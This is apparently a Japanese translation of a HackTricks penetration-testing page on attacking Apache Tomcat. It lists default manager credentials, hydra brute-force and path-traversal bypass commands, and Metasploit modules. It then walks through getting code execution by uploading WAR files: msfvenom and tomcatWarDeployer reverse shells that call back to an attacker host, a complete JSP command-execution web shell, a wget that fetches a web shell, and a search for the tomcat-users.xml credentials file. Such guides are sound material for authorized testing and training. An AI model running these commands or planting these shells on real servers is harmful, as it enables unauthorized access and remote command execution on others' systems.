Tomcat

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Discovery

  • 通常は ポート 8080 で実行されます
  • 一般的な Tomcat エラー:

Enumeration

バージョン識別

Apache Tomcat のバージョンを見つけるには、簡単なコマンドを実行できます:

bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

これは、ドキュメントインデックスページで「Tomcat」という用語を検索し、HTMLレスポンスのタイトルタグにバージョンを表示します。

マネージャーファイルの場所

/manager および /host-manager ディレクトリの正確な場所を特定することは重要です。名前が変更される可能性があるため、これらのページを見つけるにはブルートフォース検索を推奨します。

ユーザー名の列挙

Tomcatのバージョン6未満では、次の方法でユーザー名を列挙することが可能です:

bash
msf> use auxiliary/scanner/http/tomcat_enum

デフォルトの資格情報

/manager/html ディレクトリは特に敏感であり、WARファイルのアップロードとデプロイを許可するため、コード実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

これらの資格情報は次のようにテストできます:

bash
msf> use auxiliary/scanner/http/tomcat_mgr_login

別の注目すべきディレクトリは /manager/status で、TomcatおよびOSのバージョンを表示し、脆弱性の特定に役立ちます。

ブルートフォース攻撃

マネージャーディレクトリに対してブルートフォース攻撃を試みるには、次のようにします:

bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Common Vulnerabilities

Password Backtrace Disclosure

/auth.jspにアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。

Double URL Encoding

mod_jkのCVE-2007-1860脆弱性により、二重URLエンコーディングのパストラバーサルが可能になり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能になります。

Tomcatの管理ウェブにアクセスするには、次のようにします: pathTomcat/%252E%252E/manager/html

/examples

Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティング(XSS)攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用について確認する必要があります。 こちらで詳細を確認してください

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal Exploit

一部の脆弱なTomcatの構成では、次のパスを使用してTomcatの保護されたディレクトリにアクセスできます: /..;/

例えば、次のようにしてTomcatマネージャーページにアクセスできるかもしれません: www.vulnerable.com/lalala/..;/manager/html

別の方法として、このトリックを使用して保護されたパスをバイパスするには、http://www.vulnerable.com/;param=value/manager/htmlにアクセスします。

RCE

最後に、Tomcat Web Application Managerにアクセスできる場合、.warファイルをアップロードしてデプロイすることができます(コードを実行)

Limitations

十分な権限(役割: admin, manager, manager-script)がある場合にのみWARをデプロイできます。これらの詳細は、通常/usr/share/tomcat9/etc/tomcat-users.xmlに定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)(POST sectionを参照)。

bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

メタスプロイト

bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom リバースシェル

  1. デプロイするための war を作成します:
bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
  1. revshell.warファイルをアップロードし、それにアクセスします(/revshell/):

tomcatWarDeployer.pyを使用したバインドおよびリバースシェル

いくつかのシナリオでは、これが機能しないことがあります(例えば、古いバージョンのsun)。

ダウンロード

bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git

リバースシェル

bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

バインドシェル

bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Culsterdの使用

bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

手動メソッド - Webシェル

index.jspをこのcontentで作成します:

java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

このインストールも可能です(アップロード、ダウンロード、コマンド実行を許可します): http://vonloesch.de/filebrowser.html

手動メソッド 2

JSPウェブシェルのようなものを取得し、WARファイルを作成します:

bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcatの認証情報ファイルの名前は tomcat-users.xml であり、このファイルはTomcat内のユーザーの役割を示します。

bash
find / -name tomcat-users.xml 2>/dev/null

例:

xml
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

その他のTomcatスキャンツール

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする